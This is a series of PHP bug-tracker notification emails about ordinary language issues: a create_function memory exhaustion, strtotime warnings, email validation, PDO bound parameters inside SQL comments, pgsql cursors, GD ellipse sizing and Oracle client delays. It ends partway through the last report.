Edit report at https://bugs.php.net/bug.php?id=61792&edit=1
ID: 61792
Comment by: andrew at mcnaughty dot com
Reported by:tshaw at oitc dot com
Summary:preg_replace_callback memory leak
Status: Not a bug
Type: Bug
Package:PCRE related
Operating System: OSX 10.7.3
PHP Version:5.4.0
Block user comment: N
Private report: N
New Comment:
Actually I think this bug or something very like it still exists with an
anonymous function:
I'm seeing a leak with the following code:
--
$this->contact['email_greeting_display'] = preg_replace_callback(
'@\{(?:contact\.)?([a-z0-9._]*)\}@',
function($matches) use ($prefixes,$contact) {
if ($matches[1] == 'individual_prefix') {
return $prefixes[$contact['prefix_id']];
}
else {
return $contact[$matches[1]];
}
},
$format['greeting']
--
Previous Comments:
[2012-04-21 01:46:59] anon at anon dot anon
@tshaw: The problem is that create_function is a nasty old construct that adds
a new function every time you call it, even if the code to compile is the same
each time. The created functions are *permanent* and create_function returns
their name only -- so even if the variable containing their name goes out of
scope, the created functions persist. Naturally, 10 million functions take a
lot of memory. It's not technically a bug, just awful language design.
You can create the functions once statically and store their names, or since
PHP 5.3.0, you can use anonymous functions instead. Try this:
function urlDecodeUnreservedChars( $string ) {
$unreserved = array();
$unreserved[] = dechex( ord( '-' ) );
$unreserved[] = dechex( ord( '.' ) );
$unreserved[] = dechex( ord( '_' ) );
$unreserved[] = dechex( ord( '~' ) );
return preg_replace_callback(
array_map(function ($str) { return '/%' . strtoupper($str) .
'/x'; }, $unreserved),
function ($matches) { return chr(hexdec($matches[0])); },
$string
);
}
[2012-04-20 22:45:09] tshaw at oitc dot com
I am totally confused.
You say that its OK for PHP to fail with a memory exhausted error when running
a
perfectly valid CLI script that happens to fail on the 180951 iteration? I say
this is absolutely bug!
There may be no memory leak but it surely is a bug as a CLI script that
iterates
a long period of time is not out of line.
I respectfully request you reconsider and change this back to a bug.
[2012-04-20 22:24:28] fel...@php.net
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
There is no memory leak, what happens is that the memory associated to the
lambda functions (via create_function()) is just released in the end of
execution.
[2012-04-20 21:40:54] tshaw at oitc dot com
Description:
$ ./ptest.php
Test preg_replace_callback
Iteration number 0
Iteration number 1
Iteration number 180951
PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to
allocate 3072 bytes) in /Users/tshaw/Sites/surbl/ptest.php(11) :
runtime-created
function on line 1
Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to
allocate
3072 bytes) in /Users/tshaw/Sites/surbl/ptest.php(11) : runtime-created
function
on line 1
Test script:
---
#!/usr/local/php5/bin/php
Expected result:
Expected it to run to completion
Actual result:
--
PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to
allocate 3072 bytes) in /Users/tshaw/Sites/surbl/ptest.php(11) :
runtime-created
function on line 1
Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to
allocate
3072 bytes) in /Users/tshaw/Sites/surbl/ptest.php(11) : runtime-created
function
on line 1
--
Edit this bug report at https://bugs.php.net/bug.php?id=61792&edit=1
#49279 [NEW]: Current does not seem to work with Iterator
From: andrew at ajohnstone dot com
Operating system: debain
PHP version: 5.2.10
PHP Bug Type: *General Issues
Bug description: Current does not seem to work with Iterator
Description:
Current does not seem to work with Iterator
Reproduce code:
---
1,
1=>2,
2=>3,
3=>4,
4=>5,
);
public function getIterator() {
var_dump(__FUNCTION__);
return $this->getCurrentItems();
}
public function getCurrentItems() {
return $this->_data;
}
public function current() {
var_dump(__FUNCTION__);
$this->_data = $this->getCurrentItems();
return current($this->_data);
}
public function key() {
var_dump(__FUNCTION__);
return key($this->_data);
}
public function next() {
var_dump(__FUNCTION__);
next($this->_data);
}
public function rewind() {
var_dump(__FUNCTION__);
$this->_data = $this->getCurrentItems();
$this->_pointer = 0;
reset($this->_data);
}
public function valid() {
var_dump(__FUNCTION__);
return (current($this->_data) !== FALSE);
}
}
$c = new test();
var_dump(current($c));
Expected result:
string 'current' (length=7)
1
Actual result:
--
bool(false)
--
Edit bug report at http://bugs.php.net/?id=49279&edit=1
--
Try a snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=49279&r=trysnapshot52
Try a snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=49279&r=trysnapshot53
Try a snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=49279&r=trysnapshot60
Fixed in SVN:
http://bugs.php.net/fix.php?id=49279&r=fixed
Fixed in SVN and need be documented:
http://bugs.php.net/fix.php?id=49279&r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=49279&r=alreadyfixed
Need backtrace:
http://bugs.php.net/fix.php?id=49279&r=needtrace
Need Reproduce Script:
http://bugs.php.net/fix.php?id=49279&r=needscript
Try newer version:
http://bugs.php.net/fix.php?id=49279&r=oldversion
Not developer issue:
http://bugs.php.net/fix.php?id=49279&r=support
Expected behavior:
http://bugs.php.net/fix.php?id=49279&r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=49279&r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=49279&r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=49279&r=globals
PHP 4 support discontinued: http://bugs.php.net/fix.php?id=49279&r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=49279&r=dst
IIS Stability:
http://bugs.php.net/fix.php?id=49279&r=isapi
Install GNU Sed:
http://bugs.php.net/fix.php?id=49279&r=gnused
Floating point limitations:
http://bugs.php.net/fix.php?id=49279&r=float
No Zend Extensions:
http://bugs.php.net/fix.php?id=49279&r=nozend
MySQL Configuration Error:
http://bugs.php.net/fix.php?id=49279&r=mysqlcfg
#49321 [NEW]: Warning: Division by zero in Command line code on line 1 on strtotime
From: andrew at ajohnstone dot com
Operating system: Debian
PHP version: 5.2.10
PHP Bug Type: Date/time related
Bug description: Warning: Division by zero in Command line code on line 1 on
strtotime
Description:
Warning: Division by zero in Command line code on line 1
on strtotime
Reproduce code:
---
php -r 'var_dump(strtotime('21/08/2009'));'
Warning: Division by zero in Command line code on line 1
Call Stack:
0.0001 100992 1. {main}() Command line code:0
bool(false)
Expected result:
php -r 'var_dump(strtotime('21/08/2009'));'
bool(false)
Actual result:
--
Warning: Division by zero in Command line code on line 1
Call Stack:
0.0001 100992 1. {main}() Command line code:0
bool(false)
--
Edit bug report at http://bugs.php.net/?id=49321&edit=1
--
Try a snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=49321&r=trysnapshot52
Try a snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=49321&r=trysnapshot53
Try a snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=49321&r=trysnapshot60
Fixed in SVN:
http://bugs.php.net/fix.php?id=49321&r=fixed
Fixed in SVN and need be documented:
http://bugs.php.net/fix.php?id=49321&r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=49321&r=alreadyfixed
Need backtrace:
http://bugs.php.net/fix.php?id=49321&r=needtrace
Need Reproduce Script:
http://bugs.php.net/fix.php?id=49321&r=needscript
Try newer version:
http://bugs.php.net/fix.php?id=49321&r=oldversion
Not developer issue:
http://bugs.php.net/fix.php?id=49321&r=support
Expected behavior:
http://bugs.php.net/fix.php?id=49321&r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=49321&r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=49321&r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=49321&r=globals
PHP 4 support discontinued: http://bugs.php.net/fix.php?id=49321&r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=49321&r=dst
IIS Stability:
http://bugs.php.net/fix.php?id=49321&r=isapi
Install GNU Sed:
http://bugs.php.net/fix.php?id=49321&r=gnused
Floating point limitations:
http://bugs.php.net/fix.php?id=49321&r=float
No Zend Extensions:
http://bugs.php.net/fix.php?id=49321&r=nozend
MySQL Configuration Error:
http://bugs.php.net/fix.php?id=49321&r=mysqlcfg
#49441 [NEW]: filter_var - FILTER_VALIDATE_EMAIL
From: andrew at ajohnstone dot com
Operating system: Debian
PHP version: 5.2.10
PHP Bug Type: *General Issues
Bug description: filter_var - FILTER_VALIDATE_EMAIL
Description:
var_dump(filter_var('and...@bb1.gateway.2wire.net',FILTER_VALIDATE_EMAIL));
bool(false)
var_dump(filter_var('and...@debian.gateway.2wire.net',FILTER_VALIDATE_EMAIL));
bool(false)
php -v PHP 5.2.10-2
Reproduce code:
---
var_dump(filter_var('and...@bb1.gateway.2wire.net',FILTER_VALIDATE_EMAIL));
var_dump(filter_var('and...@debian.gateway.2wire.net',FILTER_VALIDATE_EMAIL));
Expected result:
string(28) "and...@bb1.gateway.2wire.net"
string(31) "and...@debian.gateway.2wire.net"
Actual result:
--
bool(false)
bool(false)
--
Edit bug report at http://bugs.php.net/?id=49441&edit=1
--
Try a snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=49441&r=trysnapshot52
Try a snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=49441&r=trysnapshot53
Try a snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=49441&r=trysnapshot60
Fixed in SVN:
http://bugs.php.net/fix.php?id=49441&r=fixed
Fixed in SVN and need be documented:
http://bugs.php.net/fix.php?id=49441&r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=49441&r=alreadyfixed
Need backtrace:
http://bugs.php.net/fix.php?id=49441&r=needtrace
Need Reproduce Script:
http://bugs.php.net/fix.php?id=49441&r=needscript
Try newer version:
http://bugs.php.net/fix.php?id=49441&r=oldversion
Not developer issue:
http://bugs.php.net/fix.php?id=49441&r=support
Expected behavior:
http://bugs.php.net/fix.php?id=49441&r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=49441&r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=49441&r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=49441&r=globals
PHP 4 support discontinued: http://bugs.php.net/fix.php?id=49441&r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=49441&r=dst
IIS Stability:
http://bugs.php.net/fix.php?id=49441&r=isapi
Install GNU Sed:
http://bugs.php.net/fix.php?id=49441&r=gnused
Floating point limitations:
http://bugs.php.net/fix.php?id=49441&r=float
No Zend Extensions:
http://bugs.php.net/fix.php?id=49441&r=nozend
MySQL Configuration Error:
http://bugs.php.net/fix.php?id=49441&r=mysqlcfg
#43458 [NEW]: works in PHP4, but not PHP5
From: andrew at sundale dot net Operating system: Linux PHP version: 5.2.5 PHP Bug Type: Scripting Engine problem Bug description: works in PHP4, but not PHP5 Description: works in PHP4, but not PHP5 I have encountered a legacy code, there were used these comments. Surprisingly, it works in PHP4. Reproduce code: --- Expected result: Nothing Actual result: -- Error in PHP5 -- Edit bug report at http://bugs.php.net/?id=43458&edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=43458&r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=43458&r=trysnapshot52 Try a CVS snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=43458&r=trysnapshot53 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=43458&r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=43458&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=43458&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=43458&r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=43458&r=needscript Try newer version:http://bugs.php.net/fix.php?id=43458&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=43458&r=support Expected behavior:http://bugs.php.net/fix.php?id=43458&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=43458&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=43458&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=43458&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=43458&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=43458&r=dst IIS Stability:http://bugs.php.net/fix.php?id=43458&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=43458&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=43458&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=43458&r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=43458&r=mysqlcfg
#44263 [NEW]: Soap error when dealing with private or protected properties
From: andrew at tvisted dot net
Operating system: Linux/OSX/Windows
PHP version: 5.2.5
PHP Bug Type: SOAP related
Bug description: Soap error when dealing with private or protected properties
Description:
Seems to be similar to Bug #30928 code can access and submit data via
a WSDL without problem, but when trying to submit an array of object
(eg NewCustomer) because certain fields are protected on the
soapserver an error is returned, When a local version of the WSDL is
created and the protected properties are removed from the class. The
soapserver is working correctly as solutions using ASP and Javascript
currently work.
A copy of the WSDL is available at
http://tvisted.net:1024/wsdl/IIntact
---
'./configure' '--prefix=/Applications/xampp/xamppfiles' '--program-
suffix=-5.2.5' '--libdir=/Applications/xampp/xamppfiles/lib/php/php5'
'--includedir=/Applications/xampp/xamppfiles/include/php/php5' '--
with-apxs2=/Applications/xampp/xamppfiles/bin/apxs' '--with-config-
file-path=/Applications/xampp/etc' '--with-
mysql=/Applications/xampp/xamppfiles' '--disable-debug' '--enable-
bcmath' '--enable-calendar' '--enable-ctype' '--enable-dbase' '--
enable-discard-path' '--enable-exif' '--enable-filepro' '--enable-
force-cgi-redirect' '--enable-ftp' '--enable-gd-imgstrttf' '--enable-
gd-native-ttf' '--with-ttf' '--enable-magic-quotes' '--enable-memory-
limit' '--enable-safe-mode' '--enable-shmop' '--enable-sigchild' '--
enable-sysvsem' '--enable-sysvshm' '--enable-track-vars' '--enable-
trans-sid' '--enable-wddx' '--enable-yp' '--with-ftp' '--with-
ncurses=/Applications/xampp/xamppfiles' '--with-
gdbm=/Applications/xampp/xamppfiles' '--with-jpeg-
dir=/Applications/xampp/xamppfiles' '--with-png-
dir=/Applications/xampp/xamppfiles' '--with-freetype-
dir=/Applications/xampp/xamppfiles' '--without-xpm' '--with-zlib=yes'
'--with-zlib-dir=/Applications/xampp/xamppfiles' '--with-
openssl=/Applications/xampp/xamppfiles' '--with-expat-
dir=/Applications/xampp/xamppfiles' '--enable-
xslt=/Applications/xampp/xamppfiles' '--with-
xsl=/Applications/xampp/xamppfiles' '--with-
dom=/Applications/xampp/xamppfiles' '--with-
ldap=/Applications/xampp/xamppfiles' '--with-
gd=/Applications/xampp/xamppfiles' '--with-mysql-
sock=/Applications/xampp/xamppfiles/var/mysql/mysql.sock' '--with-
mcrypt=/Applications/xampp/xamppfiles' '--with-
mhash=/Applications/xampp/xamppfiles' '--enable-sockets' '--with-
curl=/Applications/xampp/xamppfiles' '--enable-mbregex' '--enable-
zend-multibyte' '--with-zip=/Applications/xampp/xamppfiles' '--enable-
exif' '--with-sqlite' '--with-libxml-
dir=/Applications/xampp/xamppfiles' '--enable-soap' '--enable-pcntl'
'--enable-dbx' '--with-
mysqli=/Applications/xampp/xamppfiles/bin/mysql_config' '--with-
bz2=/Applications/xampp/xamppfiles' '--with-
ming=shared,/Applications/xampp/xamppfiles' '--with-
pear=/Applications/xampp/xamppfiles/lib/php/pear' '--with-
mssql=/Applications/xampp/xamppfiles' '--with-imap-
dir=/Applications/xampp/xamppfiles' '--with-
imap=/Applications/xampp/xamppfiles' '--enable-mbstring=all' '--with-
pgsql=shared,/usr' '--with-gettext=/Applications/xampp/xamppfiles' '--
with-pdo-mysql=/Applications/xampp/xamppfiles'
---
soap.wsdl_cache = 0;
soap.wsdl_cache_enabled = 0;
Reproduce code:
---
Part of the code used is:
class TIntactCustomer {
public $Code; // string
public $Name; // string
public $Address1; // string
public $Address2; // string
public $Address3; // string
public $Address4; // string
public $Address5; // string
public $PostCode; // string
public $OnOrder; // double
public $Unbilled; // double
public $UnAllocated; // double
public $CreditLimit; // double
public $Phone1; // string
public $Phone2; // string
public $Fax; // string
public $EMail; // string
public $DeliveryAddress1; // string
public $DeliveryAddress2; // string
public $DeliveryAddress3; // string
public $DeliveryAddress4; // string
public $DeliveryAddress5; // string
public $DefaultVATRate; // double
public $HoCode; // string
public $IsHo; // boolean
}
public function IIntactservice($wsdl =
"http://localhost/intact/lib/IIntactWSDL.xml";, $options = array()) {
foreach(self::$c
#42616 [Com]: CLI crashes
ID: 42616 Comment by: andrew at mercuric dot net Reported By: ashish_chap at yahoo dot co dot in Status: No Feedback Bug Type: CGI related Operating System: Windows XP PHP Version: 5.2.4 New Comment: I also have this problem with both 5.2.6 and the latest snapshot on Windows XP 64-bit. I made sure that everything was deleted before running the snapshot installer. Neither disabling php_sam nor php_threads fixed the crash, though it does eliminate the "fatal error" message. Previous Comments: [2008-05-02 23:47:16] uncle_coolj at hotmail dot com Hey, i've tried to disable different modules to find out which one causes the crash. I've found out that the "php_threads.dll" is the problem. if you comment out the module it works... best regards [2007-10-12 20:51:13] robert2s at hotmail dot com I solved this in the following way. In the php.ini file, add a semicolon (;) in front of the line extension=php_sam.dl [2007-09-24 00:19:42] mburke at cordovabay dot com I am having the same problem. The configuration is: Apache 2.2.4 (Win32) PHP 5.2.4 MySQL 5.0.45 All php pages result in error 500 error log shows: PHP Warning: require_once(SAM/php_sam.php): failed to open stream: No such file or directory in sam_factory on line 1 each time a php page is requested. Any help would be appreciated!! [2007-09-21 01:00:00] php-bugs at lists dot php dot net No feedback was provided for this bug for over a week, so it is being suspended automatically. If you are able to provide the information that was originally requested, please do so and change the status of the bug back to "Open". [2007-09-13 10:15:17] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php5.2-latest.tar.gz For Windows (zip): http://snaps.php.net/win32/php5.2-win32-latest.zip For Windows (installer): http://snaps.php.net/win32/php5.2-win32-installer-latest.msi Something related to this was fixed in CVS, so please try the latest snapshot. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/42616 -- Edit this bug report at http://bugs.php.net/?id=42616&edit=1
#42616 [Com]: CLI crashes
ID: 42616 Comment by: andrew at mercuric dot net Reported By: ashish_chap at yahoo dot co dot in Status: No Feedback Bug Type: CGI related Operating System: Windows XP PHP Version: 5.2.4 New Comment: It only happens, however, when the installer is used. Extracting the zip file works fine. Previous Comments: [2008-09-16 21:30:17] andrew at mercuric dot net I also have this problem with both 5.2.6 and the latest snapshot on Windows XP 64-bit. I made sure that everything was deleted before running the snapshot installer. Neither disabling php_sam nor php_threads fixed the crash, though it does eliminate the "fatal error" message. [2008-05-02 23:47:16] uncle_coolj at hotmail dot com Hey, i've tried to disable different modules to find out which one causes the crash. I've found out that the "php_threads.dll" is the problem. if you comment out the module it works... best regards [2007-10-12 20:51:13] robert2s at hotmail dot com I solved this in the following way. In the php.ini file, add a semicolon (;) in front of the line extension=php_sam.dl [2007-09-24 00:19:42] mburke at cordovabay dot com I am having the same problem. The configuration is: Apache 2.2.4 (Win32) PHP 5.2.4 MySQL 5.0.45 All php pages result in error 500 error log shows: PHP Warning: require_once(SAM/php_sam.php): failed to open stream: No such file or directory in sam_factory on line 1 each time a php page is requested. Any help would be appreciated!! [2007-09-21 01:00:00] php-bugs at lists dot php dot net No feedback was provided for this bug for over a week, so it is being suspended automatically. If you are able to provide the information that was originally requested, please do so and change the status of the bug back to "Open". The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/42616 -- Edit this bug report at http://bugs.php.net/?id=42616&edit=1
#47009 [NEW]: PDO can't handle commented out lines with bound params
From: andrew at ajohnstone dot com Operating system: fedora PHP version: 5.2.8 PHP Bug Type: PDO related Bug description: PDO can't handle commented out lines with bound params Description: databaseException: SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match number of tokens Can't handle commented out lines with bound params Reproduce code: --- SELECT * FROM mapping_outlets mo JOIN media_outlets USING(mapping_outlets_id) WHERE -- mo.mapping_outlets_id = ? mo.media_outlets_id = ? GROUP BY ml.name ORDER BY NULL LIMIT 500 Expected result: Ignore the commented outline. Actual result: -- databaseException: SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match number of tokens -- Edit bug report at http://bugs.php.net/?id=47009&edit=1 -- Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=47009&r=trysnapshot52 Try a CVS snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=47009&r=trysnapshot53 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=47009&r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=47009&r=fixedcvs Fixed in CVS and need be documented: http://bugs.php.net/fix.php?id=47009&r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=47009&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=47009&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=47009&r=needscript Try newer version: http://bugs.php.net/fix.php?id=47009&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=47009&r=support Expected behavior: http://bugs.php.net/fix.php?id=47009&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=47009&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=47009&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=47009&r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=47009&r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=47009&r=dst IIS Stability: http://bugs.php.net/fix.php?id=47009&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=47009&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=47009&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=47009&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=47009&r=mysqlcfg
#47009 [Fbk->Opn]: PDO can't handle commented out lines with bound params
ID: 47009
User updated by: andrew at ajohnstone dot com
Reported By: andrew at ajohnstone dot com
-Status: Feedback
+Status: Open
Bug Type: PDO related
Operating System: fedora
PHP Version: 5.2.8
New Comment:
Thanks for the quick response, I should have stated this was using
MySQL PDO driver.
Previous Comments:
[2009-01-06 11:13:19] johan...@php.net
I'm quite sure this is a problem with PS emulation, I have no test
system at hand ...
Not sue how to handle it in our parser:The SQL standard wants, afaik, a
space behind the --, MySQL fr instance doesn't need it.Additionally the
same problem should exist with /* */ comments, which are implemented in
different way, too (MySQL need no */)
Following the standard might still break stuff, not following the
standard might break other case, making it driver dependent will give a
mess...
[2009-01-05 22:44:03] fel...@php.net
Which SGBD are you using?
[2009-01-05 22:36:31] fel...@php.net
I can't reproduce it using sqlite.
query('create table if not exists foo (x int)');
$x->query('insert into foo values (1)');
$x->query('insert into foo values (2)');
$y = $x->prepare('select x from foo
where
-- x = ?
x = ?');
var_dump($y->execute(array(2)));
var_dump($y->fetch());
var_dump($y->errorInfo());
bool(true)
array(2) {
["x"]=>
string(1) "2"
[0]=>
string(1) "2"
}
array(1) {
[0]=>
string(5) "0"
}
[2009-01-05 15:34:08] andrew at ajohnstone dot com
Description:
databaseException: SQLSTATE[HY093]: Invalid parameter number: number of
bound variables does not match number of tokens
Can't handle commented out lines with bound params
Reproduce code:
---
SELECT
*
FROM
mapping_outlets mo
JOIN media_outlets USING(mapping_outlets_id)
WHERE
-- mo.mapping_outlets_id = ?
mo.media_outlets_id = ?
GROUP BY ml.name
ORDER BY NULL
LIMIT 500
Expected result:
Ignore the commented outline.
Actual result:
--
databaseException: SQLSTATE[HY093]: Invalid parameter number: number of
bound variables does not match number of tokens
--
Edit this bug report at http://bugs.php.net/?id=47009&edit=1
#44861 [Com]: scrollable cursor don't work with pgsql
ID: 44861
Comment by: andrew at rook dot ca
Reported By: php at benjaminschulz dot com
Status: Verified
Bug Type: PDO related
Operating System: osx
PHP Version: 5.3CVS-2008-04-29 (CVS)
New Comment:
Same problem.
PHP 5.2.8 on Fedora 8 (2.6.21.7-5.fc8xen) && PostgreSQL 8.2.11
Previous Comments:
[2008-12-12 11:36:07] denis at edistar dot com
Same problem also in PHP 5.2.6.
I think this is a very serious bug.
[2008-04-29 16:13:24] php at benjaminschulz dot com
Description:
I don't see how to use scrollable cursors with pdo_pgsql
Reproduce code:
---
$db = new Pdo("pgsql:...");
$db->setAttribute(Pdo::ATTR_ERRMODE, Pdo::ERRMODE_EXCEPTION);
$res = $db->prepare("SELECT 'row1' UNION SELECT 'row2' UNION SELECT
'row3' UNION SELECT 'row4'", array(PDO::ATTR_CURSOR =>
PDO::CURSOR_SCROLL));
$res->execute();
var_dump($res->fetch());
// $res->fetch(Pdo::FETCH_NUM, PDO::FETCH_ORI_ABS, 2) won't throw an
exception but return false
Expected result:
array('row1')
Actual result:
--
Fatal error: Uncaught exception 'PDOException' with message
'SQLSTATE[34000]: Invalid cursor name: 7 ERROR: cursor
"pdo_pgsql_cursor_00d78a0c" does not exist' in ...
--
Edit this bug report at http://bugs.php.net/?id=44861&edit=1
#42685 [Com]: imagefilledellipse wrong size
ID: 42685 Comment by: andrew at ameshome dot ca Reported By: chinhnt2k3 at yahoo dot com Status: No Feedback Bug Type: GD related Operating System: * PHP Version: 5.2.4 Assigned To: pajoye New Comment: I can confirm this still occurs in PPH 5.2.9-1 An elipse with an even size is rounded to an odd size Previous Comments: [2008-11-10 01:00:05] php-bugs at lists dot php dot net No feedback was provided for this bug for over a week, so it is being suspended automatically. If you are able to provide the information that was originally requested, please do so and change the status of the bug back to "Open". [2008-11-02 13:04:02] j...@php.net Please try using this CVS snapshot: http://snaps.php.net/php5.2-latest.tar.gz For Windows: http://windows.php.net/snapshots/ [2008-05-06 11:28:31] ka...@php.net The same effect occurs for the imageellipse(), I belive this bug is in libgd [2007-09-17 04:41:13] chinhnt2k3 at yahoo dot com Description: imagefilledellipse() produces an ellipse with a different size if the size is even. Reproduce code: --- Expected result: An ellipse with the size of 26. Actual result: -- An ellipse with the size of 27. -- Edit this bug report at http://bugs.php.net/?id=42685&edit=1
[PHP-BUG] Req #51499 [NEW]: mysql_warning_count to be implemented
From: Operating system: PHP version: Irrelevant Package: PDO related Bug Type: Feature/Change Request Bug description:mysql_warning_count to be implemented Description: The warning count is sent in the returned OK packet from a executed statement, however there is no functionality within PDO to extract, how many warnings were triggered from the statement. This will save on round trips to the database to identify whether data could have been truncated for example. http://dev.mysql.com/doc/refman/5.0/en/mysql-warning-count.html http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Types_Of_Result_Packets This would need to be implemented for other drivers too. -- Edit bug report at http://bugs.php.net/bug.php?id=51499&edit=1 -- Try a snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=51499&r=trysnapshot52 Try a snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=51499&r=trysnapshot53 Try a snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=51499&r=trysnapshot60 Fixed in SVN: http://bugs.php.net/fix.php?id=51499&r=fixed Fixed in SVN and need be documented: http://bugs.php.net/fix.php?id=51499&r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=51499&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=51499&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=51499&r=needscript Try newer version: http://bugs.php.net/fix.php?id=51499&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=51499&r=support Expected behavior: http://bugs.php.net/fix.php?id=51499&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=51499&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=51499&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=51499&r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=51499&r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=51499&r=dst IIS Stability: http://bugs.php.net/fix.php?id=51499&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=51499&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=51499&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=51499&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=51499&r=mysqlcfg
[PHP-BUG] Bug #52263 [NEW]: Script cleanup takes long with Oracle 11 instant client
From: Operating system: Linux PHP version: 5.3.2 Package: OCI8 related Bug Type: Bug Bug description:Script cleanup takes long with Oracle 11 instant client Description: PHP scripts that connect to an Oracle 11gR2 database server using version 11 clients (instant client, fat client) hang for approx. one second after the last command in the script has been executed. === version 11 client === PHP was build with the following configure option: --with-oci8=--with-oci8=instantclient,/usr/local/lib64/instantclient/instantclient_11_2 Executing the test script results in: $ time php oci_connect.php 0.0691978931427 real0m1.119s user0m0.055s sys 0m0.058s The first value is printed as the last statement in the script. It will not return immediately to the command-line, but hang noticeably for approx. 1 second. When commenting out the two OCI-related statements the script returns immediately. This may also be a bug in the Oracle client libraries, I am not sure. But the one second pause does not happen when connect and disconnecting with sqlplus: time echo -e "exit\n" | sqlplus */*@//*/* SQL*Plus: Release 11.2.0.1.0 Production on Thu Jul 1 16:56:11 2010 Copyright (c) 1982, 2009, Oracle. All rights reserved. Connected to: Oracle Database 11g Release 11.2.0.1.0 - 64bit Production >Disconnected from Oracle Database 11g Release 11.2.0.1.0 - 64bit Production real 0m0.063s user 0m0.018s sys 0m0.011s Test script: --- oci_connect.php: Expected result: I would expect the same behavior as with the Oracle 10 client libraries: === version 10 client === When PHP is built against the older, release 10 libraries, this does not happen: --with-oci8=--with-oci8=instantclient,/usr/local/lib64/instantclient/instantclient_10_2 Executing the test script results in: $ time php oci_connect.php 0.0691978931427 real 0m0.161s user 0m0.052s sys 0m0.068s -- Edit bug report at http://bugs.php.net/bug.php?id=52263&edit=1 -- Try a snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=52263&r=trysnapshot52 Try a snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=52263&r=trysnapshot53 Try a snapshot (trunk): 